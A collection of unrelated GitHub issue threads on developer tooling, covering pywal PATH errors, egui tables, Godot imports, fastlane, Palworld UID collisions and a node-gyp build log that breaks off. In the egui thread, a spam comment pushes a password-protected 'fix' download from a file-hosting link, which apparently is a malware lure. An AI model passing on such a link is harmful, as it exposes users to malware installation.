Can't find wal

I've been trying to get this to work for the better part of an hour and it just keeps giving me this.  I did install all the dependencies beforehand aswell.
I'll gladly provide any other information needed.
PS C:\Users\soarn> Update-WalTheme
wal : The term 'wal' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
spelling of the name, or if a path was included, verify that the path is correct and try again.
At C:\Users\soarn\winwal\winwal.psm1:141 char:9
+         wal -n -e -s -t -i $tempImg --backend $Backend
+         ~~~
    + CategoryInfo          : ObjectNotFound: (wal:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException

Get-Content : Cannot find path 'C:\Users\soarn\.cache\wal\windows-terminal.json' because it does not exist.
At C:\Users\soarn\winwal\winwal.psm1:94 char:23
+ ... alTheme = $(Get-Content "$HOME/.cache/wal/windows-terminal.json" | Co ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\soarn\...s-terminal.json:String) [Get-Content], ItemNotFoundEx
   ception
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand

Get-Content : Cannot find path 'C:\Users\soarn\.cache\wal\windows-terminal.json' because it does not exist.
At C:\Users\soarn\winwal\winwal.psm1:94 char:23
+ ... alTheme = $(Get-Content "$HOME/.cache/wal/windows-terminal.json" | Co ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\soarn\...s-terminal.json:String) [Get-Content], ItemNotFoundEx
   ception
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand

Copy-Item : Cannot find path 'C:\Users\soarn\.cache\wal\wal-prompt.ini' because it does not exist.
At C:\Users\soarn\winwal\winwal.psm1:65 char:5
+     Copy-Item -Path "$HOME/.cache/wal/wal-prompt.ini" -Destination "$ ...
+     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (C:\Users\soarn\.cache\wal\wal-prompt.ini:String) [Copy-Item], ItemNotFo
   undException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.CopyItemCommand

Could not find or load "wal.ini"

Hello @soarn !
It looks like it cannot find pywal on your path (winwal is just a powershell wrapper around pywal for use on Windows).
Depending on how you install python, it may required additional steps to have python installs on your path (the Windows Store version of Python does not add the scripts directory to the PATH environment variable automatically).
I think I do need to update the script to be more helpful in this case and error gracefully 😅.
If you do:
pip install pywal

Does it mention anything about a scripts directory not being on PATH?
Are you using the Windows Store version of Python?
Thanks!

PS C:\Users\soarn> pip install pywal
Requirement already satisfied: pywal in c:\python311\lib\site-packages (3.3.0)

PS C:\Users\soarn> python -m pip install pywal
Requirement already satisfied: pywal in c:\python311\lib\site-packages (3.3.0)

PS C:\Users\soarn> pip3 install pywal
Requirement already satisfied: pywal in c:\python311\lib\site-packages (3.3.0)

PS C:\Users\soarn> pip3.11 install pywal
Requirement already satisfied: pywal in c:\python311\lib\site-packages (3.3.0)

My path has C:\Python311 as a global.  My global path also has the scripts directory.
I'm not using the Windows Store version either, mine was installed with Chocolatey.

@soarn when using the chocolatey install, I got an error when trying to install pywal towards the end if I tried install in a regular terminal instead of admin terminal. I had to uninstall and reinstall pywal to get the wal.exe to appear.
If I installed it with pip install --user pywal.
The wal.exe ended up in %APPDATA%\Roaming\Python\Python311\Scripts, but it wasn't in my environment variables.
I think you'd want to update your environment variable for PATH to include the %APPDATA%\Roaming\Python\Python311\Scripts and reinstall pywal, or uninstall and reinstall pywal as administrator (the first one to me personally seems more "secure" since it doesn't give any install scripts admin privileges, that said I don't find pywal suspicious, just my tendency to typo things).
I'll leave this bug open to work on updating things so the script fails more gracefully and is a bit more resilient. Thanks!

That was indeed my issue, thank you so much for your help!


egui_extras::TableRow: the col method should default the Ui's text wrap to Truncate

We almost always want the cell text to truncate in tables.  TableRow should thus pre-configure the Ui accordingly.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

I think this makes sense, but only for columns with clipping turned on 🤔

Agreed


Disable the Eigen max align check for MacOS.

Disable the Eigen max align check as we use custom device memory allocator in Metal plugin.
Skip one os the Jacobian gradient test which is failing as a result of this.
cc @penpornk

Thanks @penpornk for the review and providing the fix. We have tested on networks and it has no functional issues . I haven’t done a full nopip test run . Let me kick off locally . Does CI cover the who suite ?

@kulinseth Thank you!

Does CI cover the who suite ?

Yes, the MacOS CI should cover all tests we want to run on Mac. It's failing for this PR, but it seems to be an existing failure though (numpy not found).

@kulinseth Thank you!

Does CI cover the who suite ?

Yes, the MacOS CI should cover all tests we want to run on Mac. It's failing for this PR, but it seems to be an existing failure though (numpy not found).

Should I rebase to kick off another round of testing ?

Hi @kulinseth Can you please check @cantonios's comments and keep us posted ? Thank you!

Hi @kulinseth Can you please check @cantonios's comments and keep us posted ? Thank you!

Yes. We had an offline discussion about this. Currently we don’t need this change.


Remove per message size mux limits (egress side)

per message size limits can be removed, since our mux layer does not know about message boundaries

Addressed by #1687


Exported dataset does not follow reading order.

When we export the dataset into LayoutLM format then the export does not follow reading-order which is necessary to get decent performance on Large document AI models. If the dataset does not follow reading order then during inference time when the data is passed in reading order then the model performance is so poor.
Please make sure that the exported data follows the reading order.

Where you able to solve this problem @TheTensorDude ?

Update: Use Pix2Struct conditional generation. Much better!


Track operator picks for players not included in header

Still doing digging on this. Possibly found where loadout/appearance is stored but the operator itself is not included. You can see the same data by running dissect with the --debug flag.

Seems to be almost exactly the same for ops with no loadout customization. My guess is the operator part will be near this data, so I may stumble upon it soon.

Feature is ready, just need to fetch ids for a few more


Use the random_name function on the node_name argument of the node create command

Current behavior
The node_name argument of the ockam node create command is calling hex::encode() to generate the random name in the default_value_t attribute.
Desired behavior
The node_name argument of the ockam node create command should be calling the random_name() function.
Implementation details
Don't forget to import the random_name() function with use ockam_api::cli_state::random_name;.
This is the argument that must be changed, where default_value_t = random_name():
https://github.com/build-trust/ockam/blob/140a8bd71183754d70ec1e4bc1a5c962062fa0a9/implementations/rust/ockam/ockam_command/src/node/create.rs#L57-L58

Some tips for newcomers:

Create a new branch for the issue you are working on (don't push directly to your fork's develop branch)
Run cargo fmt. You can configure the editor to run it automatically everytime a file is saved
Run cargo clippy to make sure the code compiles + follows rust standards/best practices
You don't need to keep your branch updated with develop until there is a merge conflict. If you still want to update it, use git rebase develop instead of gir merge develop

We love helping new contributors! ❤
If you have questions or need help as you explore, please join us on Discord. If you're looking for other issues to contribute to, please checkout our good first issues.

Hi, I want to work on this. Assign me.


Stress test deployed web app

Go poke around, make queries, view datasets and make sure the server doesn't crash when trying to serve tiles

I am stressed and I have tested it


Fix Total Message Count Calculation to Account for Headers

Fixes #52
Summary
Takes into account the headers added to each post (ex: "HackGreenville Events for the week of December 10 - 1 of 2") whenever calculating the total numbers of messages that will be needed in order to contain all of the events for a given week.
I chose 61 as the character count for the buffer to handle the longest header I'd anticipate seeing:
HackGreenville Events for the week of September NN - YY of ZZ
Before/After For the Week of December 10th:

Post
Before
After

1

2

Thank you, @oliviasculley!
This should hopefully also lessen the impact of #48 while work is done to get the new Events API stood up.


Custom step definitions

Seems like Karate runner ignores glue option of @CucumberOptions. How can I extend step definitions?

This is not supported. The recommended way to extend Karate is by calling JS functions or if you really need to write Java code, that is easy as well.
Kindly refer to this example for how easy it is to call a static Java method from Karate: schema.feature

Hello @ptrthomas ,
Following issue seemed to be old one, I was hoping if you can tell if there any future roadmap to support custom step definition in java (like we have in cucumber)

@mejuhi no. it is not needed. explained here: https://github.com/intuit/karate/issues/398


Routes Whitelist for logging as opposed to ignoredRoutes

Very stressful listing about 20 routes not to get logged, also routes like '/api/items?q=this' don't get picked up in the blacklist.

I do understand the use case, but I think the request, response, and body whitelists cover most sensitive data that you don't want logged. I would think the route itself getting logged isn't really sensitive. Although maybe I'm just not thinking of good examples.
Anyway, you can make your own route whitelist using ignoreRoute or skip. Something like this is what you'd want (no guarantees about its quality, this is just some rough code):
var routeWhitelist = ['/foo', '/bar'];

app.use(expressWinston.logger({
  transports: [new winston.transports.Console()],
  ignoreRoute: function (req, res) {
    return routeWhitelist.indexOf(req.originalUrl || req.url) === -1;
  }
}));

Closed due to inactivity.


adding hwflwctl support for NUCLEO_L476RG

adding changes to support hardware flow control in NUCLEO_L476RG Target.
5 files changed.
L4_report.zip

erroneous pull request.


core/io/file_access.cpp:807 - Condition "f.is_null()" is true. Continuing.

Tested versions

4.2.stable

System information
Godot v4.2.1.stable - Windows 10.0.19045 - GLES3 (Compatibility)
Issue description
  core/io/file_access.cpp:807 - Condition "f.is_null()" is true. Continuing.
Importing: res://addons/MagicaVoxel_Importer_with_Extensions/Metadata/vox-icon.vox (scale: 0.1, file version: 150, greedy mesh: true, snap to ground: false)
Vox Importer Common: Vox Nodes are null
Vox Importer Common: Voxel Data is null
Vox Importer Mesh: Mesh is null at path: 'res://addons/MagicaVoxel_Importer_with_Extensions/Metadata/vox-icon.vox'.

Steps to reproduce
Just install this addon:
https://github.com/LagowiecDev/Godot-MagicaVoxel-Importer-with-Extensions/tree/Godot4.2
Minimal reproduction project (MRP)
N/A

This isn't enough information to tell what's wrong, to tell if this is because the code in the plugin is wrong, or it's a bug in the engine

I had the same issue while developing a import plugin when there was a mismatch between _GetSaveExtension and the generated file inside .godot/imported. In my case _GetSaveExtension returned "png" while the generated file had "md5" extension.  This also lead to constant re-importing of files with recognized extensions when switching between Godot and other windows.
Both problems went away as soon as I changed return value of _GetSaveExtension to "md5".

Closing due to lack of response, if you provide more information this can be reopened


Windows 8 still listed on Download Page as supported

Does this issue occur when all extensions are disabled?: Yes/No
Yes

VS Code Version: starting with 1.80.0
OS Version: Windows 8.1

Steps to Reproduce:

Visit VSCode Download Page at https://code.visualstudio.com/download
Windows 8 is listed as supported:

however last version supporting windows 8 is 1.79.2. See https://www.electronjs.org/blog/windows-7-to-8-1-deprecation-notice and implementation PR https://github.com/microsoft/vscode/pull/175818
This is because Electron dropped support in version 23.

Thanks for creating this issue! It looks like you may be using an old version of VS Code, the latest stable release is 1.80.1. Please try upgrading to the latest version and checking whether this issue remains.
Happy Coding!


CNN Email Campaign

Context:
We're creating an action on Stand With Crypto to prompt people to email CNN and ask them to include crypto as a presidential debate topic. We can leverage our email flow that we already have in place, but this should be a new action separate from our current email flow. They will both exist concurrently.
The copy is still WIP (contact @axelmarko-cb for details) but the designs are good to go. This should be treated like any other action card, so it will show up on the homepage as well as the profile page.
Link to Figma: https://www.figma.com/design/MWzmEAYQC1NYZiD4BG0FlI/V2-Fast-Follows?node-id=3811-2010

We'll want to extend the UserActionEmailRecipient model to include an optional emailAddress string field, we'll need a new campaign for this, and we'll need to modify our logic to allow for multiple email campaigns to be running concurrently.


skipping make command  for P/Z.

Skipping make generate-release command for P/Z as the generate images in the image.yaml aren't multi-arch. We have a sed command for the images.yaml in the downstream code but this make generate-release overwrites the images.yaml file.

/cherry-pick release-v1.11

/cherry-pick release-v1.12


Undefined method 'add_external_tester!'

Issue Description
When using Spaceship to attempt to add an external user, a NoMethodError is displayed.
irb(main):004:0> app.add_external_tester!(email<EMAIL_ADDRESS>first_name: "John", last_name: "Kelley")
NoMethodError: undefined method `add_external_tester!' for #<Spaceship::Tunes::Application:0x0000000290bd00>
	from (irb):4
	from /usr/bin/irb:11:in '<main>'

Steps:

Launch IRB
require "spaceship"
Log in
Set app variable
app.add_external_tester!

Expected outcome:
Specified user is added to iTunes Connect list of external Testers
Actual Outcome:
NoMethodError is display
Environment
🚫 fastlane environment 🚫
Stack

Key
Value

OS
debian_based stretch/sid

Ruby
2.3.1

Bundler?
false

Git
git version 2.7.4

Installation Source
/usr/local/bin/fastlane

Host
Ubuntu 16.04.2 LTS debian_based stretch/sid (4.8.0-46-generic)

Ruby Lib Dir
/usr/lib

OpenSSL Version
OpenSSL 1.0.2g  1 Mar 2016

Is contained
false

Is homebrew
false

Is installed via Fabric.app
false

System Locale

Variable
Value

LANG
en_US.UTF-8
✅

LC_ALL

LANGUAGE
en_US
🚫

fastlane files:
No Fastfile found
No Appfile found
fastlane gems

Gem
Version
Update-Status

fastlane
2.28.1
✅ Up-To-Date

Loaded fastlane plugins:
No plugins Loaded
Loaded gems

Gem
Version

slack-notifier
1.5.1

CFPropertyList
2.3.5

claide
1.0.1

colored2
3.1.2

nanaimo
0.2.3

xcodeproj
1.4.4

rouge
1.11.1

xcpretty
0.2.4

terminal-notifier
1.7.1

unicode-display_width
1.1.3

terminal-table
1.7.3

plist
3.2.0

public_suffix
2.0.5

addressable
2.5.0

multipart-post
2.0.0

word_wrap
1.0.0

tty-screen
0.5.0

babosa
1.0.2

colored
1.2

highline
1.7.8

commander-fastlane
4.4.4

excon
0.55.0

faraday
0.11.0

unf_ext
<IP_ADDRESS>

unf
0.1.4

domain_name
0.5.20160216

http-cookie
1.0.2

faraday-cookie_jar
0.0.6

fastimage
2.1.0

gh_inspector
1.0.3

uber
0.0.15

representable
2.3.0

retriable
2.1.0

mime-types
2.6.1

hurley
0.2

little-plugger
1.1.4

multi_json
1.12.1

logging
2.2.0

jwt
1.5.6

memoist
0.15.0

os
0.9.6

signet
0.7.3

googleauth
0.5.1

httpclient
2.8.3

google-api-client
0.9.28

json
1.8.3

mini_magick
4.5.1

multi_xml
0.6.0

rubyzip
1.2.1

security
0.1.3

xcpretty-travis-formatter
0.0.4

dotenv
2.2.0

bundler
1.14.6

faraday_middleware
<IP_ADDRESS>

io-console
0.4.5

generated on: 2017-04-20

Hey @GitKelley, when Apple pushed out some new TestFlight updates a couple of weeks ago they broke this functionality. You now need to add testers directly to external testing groups in the scope of an app. You can do this by getting the Spaceship::Tunes::Application and then getting the groups for that app by using Spaceship::TestFlight::Group.all(app_id: app.apple_id) and then calling add_tester_to_group but it is much easier just to go through the pilot interface where you can easily pass the app ID, group names and tester information.
I am going to close this issue, but please feel free to comment and/or reopen if you continue to run into issues.
Thanks! 🐙 🚀

Ah thanks man. I was able to get around it similarly to the way you described. I opened up the invite_controller.rb file for Boarding to find how you guys are doing it in there, and found the method to add someone to the default group, which happens to work perfectly for my use case.

Great! FWIW we are going to be making some changes to how boarding works to support the new groups too.


Add instructions to get Docker-compose working on Windows

This pull request makes the following changes:

Added instructions to get docker-compose working on windows

(If there are changes to the views, please include a screenshot so we know what to look for!)
It relates to the following issue #s:

Fixes #1904

I had a chance to try this, and I'm feeling good that it doesn't cause weirdness on the docker build for non windows platforms, so let's merge it. Sorry for the delay @Jello !


Set up CI with Azure Pipelines

[skip ci]

Thanks for finding the incantations that make this magic work :)


Remove the generated module from the public API and use directly x11rb::extname

Hm, okay... no one likes generated...


[FIX] Blank page [PDF] S-140

I noticed that when downloading the [S-140] schedule in PDF sometimes a blank sheet appears, and then the next week appears.

Hi @joaochris, thanks for reporting. Does this happen randomly as you said, or there is a specific schedule where it always behaves like that?

:). Yes! randomly.

Ok thanks! I will try to replicate that if I will be able to. 🤣

Were you able to reproduce this one? Or does this just happen to me? HAHAHAHA

Unfortunately this is random, is the problem in the pdf generator? If you displayed the error in the console, maybe it would be easier to discover the problem?

Yes, I’ve been able to reproduce it as well. At some point, the content of the page reaches the bottom margin, that’s why it pushes it to a new page. It could be just a blank page, or like the one you posted above. 😁 For now, the solution would be to play with the spaces between each row to allow more content to fit in one page.

In 5 weeks, if I define this number in the div before the last week, it's just right.
Wouldn't it be possible to create a pattern?

The problem is that in the preview it looks like this, but in the pdf it is normal.


Player's UID is not unique any more

SteamID                               UID (useSteam)      UID (noSteam)
76561199186857738<PHONE_NUMBER><PHONE_NUMBER>
76561200516214127           243748559<PHONE_NUMBER>
Although the second player is not valid in Steam any more but the algo of SteamID to UID (noSteam) will generate duplicated UID.
Will it cause game account stealing problem if those players join the same server ?

76561200300123504 and<PHONE_NUMBER>1080696 has the same UID (useSteam)

76561199734837953 has the same UID (useSteam) 335190009 with the following Steam Player's UID (noSteam)
76561201226335938
76561199163620927
76561198338269899
76561199604003633
Warning!<PHONE_NUMBER>3620927,<PHONE_NUMBER>8269899 and<PHONE_NUMBER>4003633 are all valid users in Steam.

SteamID UID (useSteam) UID (noSteam)
76561198168093340<PHONE_NUMBER><PHONE_NUMBER>
76561198315537556<PHONE_NUMBER><PHONE_NUMBER>
These two players have all duplicated UID both in useSteam and noSteam mode.

SteamID UID (useSteam) UID (noSteam)
76561199337100197<PHONE_NUMBER><PHONE_NUMBER>
76561199429105744<PHONE_NUMBER><PHONE_NUMBER>
76561198946530363<PHONE_NUMBER><PHONE_NUMBER>
76561199337100197 and<PHONE_NUMBER>9105744 are valid Steam player.

Are you the developer of this game? Or can you contact the dev team of PalWorld to report this issue?

@cheahjs is there a way to chat with you for 10 minutes about this project? Specially the database lookup and how you implemented it on your address. I wanted to have a database too but force bruting all steam ids seems excessive


Add json response

Make it so that when you add a file, the media server returns the name of the added file or an error in json format.

Commit ce68b434118b533d6b2a05612cb4f1fc279e36a6


Wobbly line diversity

Now that we are well on our way in building a larger experience, I wanted to catch one detail before its too late maybe
The static version of the wobbly line, not the moving one, which can be seen across the site used in various elements. At the moment we are using one single version, or single manifestation of this wobbly line, but the idea is that across the experience these wobbly lines would always be different. This way you get diversity in the static versions, just like the live version.
2 options we have for this is:
A) Build a collection of svg's which the system then pulls from.
B) auto generate the line each time its used. Use same system as live-wobbly for generating these.
Im thinking this would be a lot harder to implement down the line once the static wobbly is used in a multitude of ways, rather than putting some pieces of this together now?
What do you think @jamesgorrie @davidpmccormick @gestchild ?

@davidpmccormick did some amazing work on this.


Update ru_ru.json (revert ca17eb4)

Seriously, what the hell happened in this commit?
(it completely broke the connection of the endings of the affected words)

Sorry about that! Could you update the translations over on Weblate? https://hosted.weblate.org/engage/fabric-modmenu/

Already done.


FMT

Please rename this pull request and link related issues :)

Please rebase this PR into two commits: one updating Cairo and another one implementing fmt command in Scarb


Zowe v1.4.0 documentation

Do not merge this PR until v1.4.0 is published.
Signed-off-by: nannanli<EMAIL_ADDRESS>

fixes #616


LRU Cache

Description
Hi, I am TRIDIB BAG. I'm a GSSoC22 participant.
I want to add algorithm ,approach and code about LRU Cache in Q-Queue folder with proper documentation including proper explanation and code  as there is nothing regarding it . I'm really want to contribute in this important question .
Can you please assign it to me?
Domain
CPP
Type of Contribution
Addition
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of LearnCPP.

I will allow you to do so, provided you explain LRU cache well, go for it, On the other side we will evaluate your code.


compilation fails on node-gyp

Hi, I am probably having an issue with my setup, as I get invalid architecture errors installing lwip. I hope it rings a bell and somebody can help me out. Please see below:
> node-gyp rebuild

  CXX(target) Release/obj.target/lwip_decoder/src/decoder/init.o
In file included from ../src/decoder/init.cpp:1:
In file included from ../src/decoder/decoder.h:9:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/string:45:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/c++config.h:41:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/os_defines.h:61:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/unistd.h:71:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/_types.h:27:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:32:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/cdefs.h:680:2: error: Unsupported architecture
#error Unsupported architecture
 ^
In file included from ../src/decoder/init.cpp:1:
In file included from ../src/decoder/decoder.h:9:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/string:45:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/c++config.h:41:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/os_defines.h:61:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/unistd.h:71:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/_types.h:27:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:33:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/machine/_types.h:34:2: error: architecture not supported
#error architecture not supported
 ^
In file included from ../src/decoder/init.cpp:1:
In file included from ../src/decoder/decoder.h:9:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/string:45:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/c++config.h:41:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/os_defines.h:61:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/unistd.h:71:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/_types.h:27:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:55:9: error: unknown type name '__int64_t'; did you mean '__int128_t'?
typedef __int64_t       __darwin_blkcnt_t;      /* total blocks */
        ^
note: '__int128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:56:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t       __darwin_blksize_t;     /* preferred block size */
        ^
note: '__int128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:57:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t       __darwin_dev_t;         /* dev_t */
        ^
note: '__int128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:60:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t      __darwin_gid_t;         /* [???] process and group IDs */
        ^
note: '__uint128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:61:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t      __darwin_id_t;          /* [XSI] pid_t, uid_t, or gid_t*/
        ^
note: '__uint128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:62:9: error: unknown type name '__uint64_t'; did you mean '__uint128_t'?
typedef __uint64_t      __darwin_ino64_t;       /* [???] Used for 64 bit inodes */
        ^
note: '__uint128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:68:9: error: unknown type name '__darwin_natural_t'
typedef __darwin_natural_t __darwin_mach_port_name_t; /* Used by mach */
        ^
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:70:9: error: unknown type name '__uint16_t'; did you mean '__uint128_t'?
typedef __uint16_t      __darwin_mode_t;        /* [???] Some file attributes */
        ^
note: '__uint128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:71:9: error: unknown type name '__int64_t'; did you mean '__int128_t'?
typedef __int64_t       __darwin_off_t;         /* [???] Used for file sizes */
        ^
note: '__int128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:72:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t       __darwin_pid_t;         /* [???] process and group IDs */
        ^
note: '__int128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:73:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t      __darwin_sigset_t;      /* [???] signal set */
        ^
note: '__uint128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:74:9: error: unknown type name '__int32_t'; did you mean '__int128_t'?
typedef __int32_t       __darwin_suseconds_t;   /* [???] microseconds */
        ^
note: '__int128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:75:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t      __darwin_uid_t;         /* [???] user IDs */
        ^
note: '__uint128_t' declared here
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types.h:76:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t      __darwin_useconds_t;    /* [???] microseconds */
        ^
note: '__uint128_t' declared here
In file included from ../src/decoder/init.cpp:1:
In file included from ../src/decoder/decoder.h:9:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/string:45:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/c++config.h:41:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/os_defines.h:61:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/unistd.h:71:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/_types.h:42:9: error: unknown type name '__uint32_t'; did you mean '__uint128_t'?
typedef __uint32_t      __darwin_wctype_t;
        ^
note: '__uint128_t' declared here
In file included from ../src/decoder/init.cpp:1:
In file included from ../src/decoder/decoder.h:9:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/string:45:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/c++config.h:41:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/os_defines.h:61:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/unistd.h:72:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/unistd.h:179:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/sys/_types/_size_t.h:30:9: error: unknown type name '__darwin_size_t'
typedef __darwin_size_t        size_t;
        ^
In file included from ../src/decoder/init.cpp:1:
In file included from ../src/decoder/decoder.h:9:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/string:45:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/c++config.h:41:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/c++/4.2.1/bits/os_defines.h:61:
In file included from /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS8.3.sdk/usr/include/unistd.h:72:
